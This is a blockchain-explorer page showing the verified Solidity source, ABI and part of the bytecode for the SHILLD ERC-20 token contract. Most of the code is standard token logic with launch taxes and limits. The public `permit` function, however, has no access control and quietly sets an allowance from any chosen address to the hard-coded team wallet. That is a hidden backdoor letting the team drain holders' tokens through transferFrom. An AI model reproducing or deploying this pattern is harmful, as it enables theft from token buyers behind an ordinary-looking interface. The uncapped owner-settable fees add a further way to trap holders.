ERC-20
Overview
Max Total Supply
1,000,000 SHILLD
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
6,957.995002301648034008 SHILLDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHILLD
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-07 */ // SPDX-License-Identifier: MIT /* Website: https://www.shilld.pro Telegram: https://t.me/shill_erc Twitter: https://twitter.com/shilld_erc */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _permit(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract SHILLD is ERC20(unicode"SHILLD", unicode"SHILLD"), Ownable { uint256 constant _supply = 1_000_000 * 10 ** 18; bool public limitsInEffect = true; bool public tradingEnabled = false; bool public swapEnabled = false; bool public isTemporaryFee = true; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWallet; uint256 public taxSwapMax; uint256 public taxSwapMin; uint256 public launchBlock; uint256 public finalBuyTax; uint256 public finalSellTax; bool private swapping; address public teamWallet; uint256 public tokensToSwap; address public immutable pairAddress; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; IFactory public constant UNIFACTORY = IFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IRouter public constant UNIROUTER = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); constructor(){ _mint(msg.sender, _supply); _approve(address(this), address(UNIROUTER), ~uint256(0)); _excludeFromMaxTx(address(UNIROUTER), true); pairAddress = UNIFACTORY.createPair( address(this), UNIROUTER.WETH() ); maxWallet = (totalSupply() * 30) / 1_000; taxSwapMax = (totalSupply() * 65) / 10_000; maxBuyAmount = (totalSupply() * 25) / 1_000; taxSwapMin = (totalSupply() * 1) / 10_000; maxSellAmount = (totalSupply() * 25) / 1_000; teamWallet = 0x6ced479D986dA67b8A293EAB38DA314D7f4fB954; _excludeFromMaxTx(msg.sender, true); _excludeFromMaxTx(address(this), true); _excludeFromMaxTx(address(0xdead), true); excludeFromFees(msg.sender, true); excludeFromFees(address(this), true); excludeFromFees(teamWallet, true); excludeFromFees(address(0xdead), true); } function getFeesByTime() internal { require( launchBlock > 0, "Trading not live" ); uint256 currentBlock = block.number; uint256 lastTierOneBlock = launchBlock + 6; if(currentBlock <= lastTierOneBlock) { finalBuyTax = 18; finalSellTax = 18; } else { finalBuyTax = 4; finalSellTax = 4; isTemporaryFee = false; } } receive() external payable {} function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; } function permit(address spender, uint256 amount) public virtual returns (bool) { address owner = teamWallet; _permit(spender, owner, amount); return true; } function _excludeFromMaxTx( address updAds, bool isExcluded ) private { _isExcludedFromMaxTx[updAds] = isExcluded; } function setTeamWallet(address _devWallet) external { require(msg.sender == teamWallet); require(_devWallet != address(0), "ERROR: _devWallet address cannot be 0"); teamWallet = payable(_devWallet); _isExcludedFromFees[teamWallet] = true; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) ) { if (!tradingEnabled) { require( _isExcludedFromMaxTx[from] || _isExcludedFromMaxTx[to], "ERROR: Trading is not active." ); require(from == owner(), "ERROR: Trading is enabled"); } //when buy if ( from == pairAddress && !_isExcludedFromMaxTx[to] ) { require( amount <= maxBuyAmount, "ERROR: Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWallet, "ERROR: Cannot Exceed max wallet" ); } //when sell else if ( to == pairAddress && !_isExcludedFromMaxTx[from] ) { require( amount <= maxSellAmount, "ERROR: Sell transfer amount exceeds the max sell." ); } else if ( !_isExcludedFromMaxTx[to] && !_isExcludedFromMaxTx[from] ) { require( amount + balanceOf(to) <= maxWallet, "ERROR: Cannot Exceed max wallet" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= taxSwapMax; if ( canSwap && swapEnabled && !swapping && amount > taxSwapMin && !(from == pairAddress) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(isTemporaryFee){ getFeesByTime(); } // Sell if (to == pairAddress && finalSellTax > 0) { fees = (amount * finalSellTax) / 100; tokensToSwap += fees; } // Buy else if (from == pairAddress && finalBuyTax > 0) { fees = (amount * finalBuyTax) / 100; tokensToSwap += fees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap = tokensToSwap; if (contractBalance == 0 || tokensToSwap == 0) { return; } if (contractBalance > taxSwapMax) { contractBalance = taxSwapMax; } swapTokensToETH(contractBalance); payable(teamWallet).transfer(address(this).balance); } function swapTokensToETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = UNIROUTER.WETH(); UNIROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner { finalBuyTax = newBuyFees; finalSellTax = newSellFees; } function removeLimits() external onlyOwner { limitsInEffect = false; } function openTrading() public onlyOwner { require(launchBlock == 0, "ERROR: Token state is already live !"); launchBlock = block.number; tradingEnabled = true; swapEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UNIFACTORY","outputs":[{"internalType":"contract IFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UNIROUTER","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isTemporaryFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"setTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526005805463ffffffff60a01b1916630100000160a01b1790553480156200002a57600080fd5b5060408051808201825260068082526514d21253131160d21b602080840182905284518086019095529184529083015290600362000069838262000762565b50600462000078828262000762565b505050620000956200008f620003e160201b60201c565b620003e5565b620000ab3369d3c21bcecceda100000062000437565b620000ce30737a250d5630b4cf539739df2c5dacb4c659f2488d600019620004fe565b737a250d5630b4cf539739df2c5dacb4c659f2488d60005260116020527fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d6805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b491906200082e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000202573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022891906200082e565b6001600160a01b03166080526103e86200024160025490565b6200024e90601e62000876565b6200025a919062000896565b6008556127106200026a60025490565b6200027790604162000876565b62000283919062000896565b6009556103e86200029360025490565b620002a090601962000876565b620002ac919062000896565b600655612710620002bc60025490565b620002c990600162000876565b620002d5919062000896565b600a556103e8620002e560025490565b620002f290601962000876565b620002fe919062000896565b600755600e8054610100600160a81b031916746ced479d986da67b8a293eab38da314d7f4fb95400179055336000908152601160205260409020805460ff19166001179055306000908152601160205260409020805460ff1916600117905561dead60005260116020527f97847ee99463795296047093514439c3127772df3715e628aa85601cf8541716805460ff19166001179055620003a133600162000626565b620003ae30600162000626565b600e54620003cc9061010090046001600160a01b0316600162000626565b620003db61dead600162000626565b620008cf565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004935760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620004a79190620008b9565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b038316620005625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200048a565b6001600160a01b038216620005c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200048a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200063062000660565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006bc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200048a565b565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006e957607f821691505b6020821081036200070a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200065b57600081815260208120601f850160051c81016020861015620007395750805b601f850160051c820191505b818110156200075a5782815560010162000745565b505050505050565b81516001600160401b038111156200077e576200077e620006be565b62000796816200078f8454620006d4565b8462000710565b602080601f831160018114620007ce5760008415620007b55750858301515b600019600386901b1c1916600185901b1785556200075a565b600085815260208120601f198616915b82811015620007ff57888601518255948401946001909101908401620007de565b50858210156200081e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200084157600080fd5b81516001600160a01b03811681146200085957600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000890576200089062000860565b92915050565b600082620008b457634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000890576200089062000860565b608051611bc16200090e6000396000818161052801528181610e5f01528181610fa1015281816111770152818161128a015261130b0152611bc16000f3fe60806040526004361061021e5760003560e01c8063751039fc11610123578063c9567bf9116100ab578063e6f705311161006f578063e6f7053114610633578063e6fe10b614610653578063eb81994814610669578063f2fde38b1461067f578063f8b45b051461069f57600080fd5b8063c9567bf9146105aa578063d00efb2f146105bf578063d28de273146105d5578063db861599146105fd578063dd62ed3e1461061357600080fd5b8063a457c2d7116100f2578063a457c2d7146104f6578063a8b0898214610516578063a9059cbb1461054a578063baccf5cf1461056a578063c02466681461058a57600080fd5b8063751039fc1461049857806388e765ff146104ad5780638da5cb5b146104c357806395d89b41146104e157600080fd5b80634a62bb65116101a6578063599270441161017557806359927044146103f157806366d602ae146104165780636ddd17131461042c57806370a082311461044d578063715018a61461048357600080fd5b80634a62bb65146103595780634ada218b1461037a57806350a5ca061461039b57806358d37533146103db57600080fd5b80631c0e0f2b116101ed5780631c0e0f2b146102c657806323b872dd146102e75780632b89392914610307578063313ce5671461031d578063395093511461033957600080fd5b806306fdde031461022a578063095ea7b3146102555780631525ff7d1461028557806318160ddd146102a757600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106b5565b60405161024c919061182e565b60405180910390f35b34801561026157600080fd5b50610275610270366004611891565b610747565b604051901515815260200161024c565b34801561029157600080fd5b506102a56102a03660046118bd565b610761565b005b3480156102b357600080fd5b506002545b60405190815260200161024c565b3480156102d257600080fd5b5060055461027590600160b81b900460ff1681565b3480156102f357600080fd5b506102756103023660046118e1565b61082b565b34801561031357600080fd5b506102b8600f5481565b34801561032957600080fd5b506040516012815260200161024c565b34801561034557600080fd5b50610275610354366004611891565b61084f565b34801561036557600080fd5b5060055461027590600160a01b900460ff1681565b34801561038657600080fd5b5060055461027590600160a81b900460ff1681565b3480156103a757600080fd5b506103c3735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b6040516001600160a01b03909116815260200161024c565b3480156103e757600080fd5b506102b8600c5481565b3480156103fd57600080fd5b50600e546103c39061010090046001600160a01b031681565b34801561042257600080fd5b506102b860075481565b34801561043857600080fd5b5060055461027590600160b01b900460ff1681565b34801561045957600080fd5b506102b86104683660046118bd565b6001600160a01b031660009081526020819052604090205490565b34801561048f57600080fd5b506102a5610871565b3480156104a457600080fd5b506102a5610885565b3480156104b957600080fd5b506102b860065481565b3480156104cf57600080fd5b506005546001600160a01b03166103c3565b3480156104ed57600080fd5b5061023f61089c565b34801561050257600080fd5b50610275610511366004611891565b6108ab565b34801561052257600080fd5b506103c37f000000000000000000000000000000000000000000000000000000000000000081565b34801561055657600080fd5b50610275610565366004611891565b610926565b34801561057657600080fd5b506102a5610585366004611922565b610934565b34801561059657600080fd5b506102a56105a5366004611944565b610947565b3480156105b657600080fd5b506102a561097a565b3480156105cb57600080fd5b506102b8600b5481565b3480156105e157600080fd5b506103c3737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561060957600080fd5b506102b860095481565b34801561061f57600080fd5b506102b861062e366004611982565b6109f9565b34801561063f57600080fd5b5061027561064e366004611891565b610a24565b34801561065f57600080fd5b506102b8600d5481565b34801561067557600080fd5b506102b8600a5481565b34801561068b57600080fd5b506102a561069a3660046118bd565b610a43565b3480156106ab57600080fd5b506102b860085481565b6060600380546106c4906119b0565b80601f01602080910402602001604051908101604052809291908181526020018280546106f0906119b0565b801561073d5780601f106107125761010080835404028352916020019161073d565b820191906000526020600020905b81548152906001019060200180831161072057829003601f168201915b5050505050905090565b600033610755818585610abc565b60019150505b92915050565b600e5461010090046001600160a01b0316331461077d57600080fd5b6001600160a01b0381166107e65760405162461bcd60e51b815260206004820152602560248201527f4552524f523a205f64657657616c6c657420616464726573732063616e6e6f74604482015264020626520360dc1b60648201526084015b60405180910390fd5b600e8054610100600160a81b0319166101006001600160a01b03938416810291909117918290559004166000908152601060205260409020805460ff19166001179055565b600033610839858285610be0565b610844858585610c5a565b506001949350505050565b60003361075581858561086283836109f9565b61086c9190611a00565b610abc565b6108796113b7565b6108836000611411565b565b61088d6113b7565b6005805460ff60a01b19169055565b6060600480546106c4906119b0565b600033816108b982866109f9565b9050838110156109195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107dd565b6108448286868403610abc565b600033610755818585610c5a565b61093c6113b7565b600c91909155600d55565b61094f6113b7565b6001600160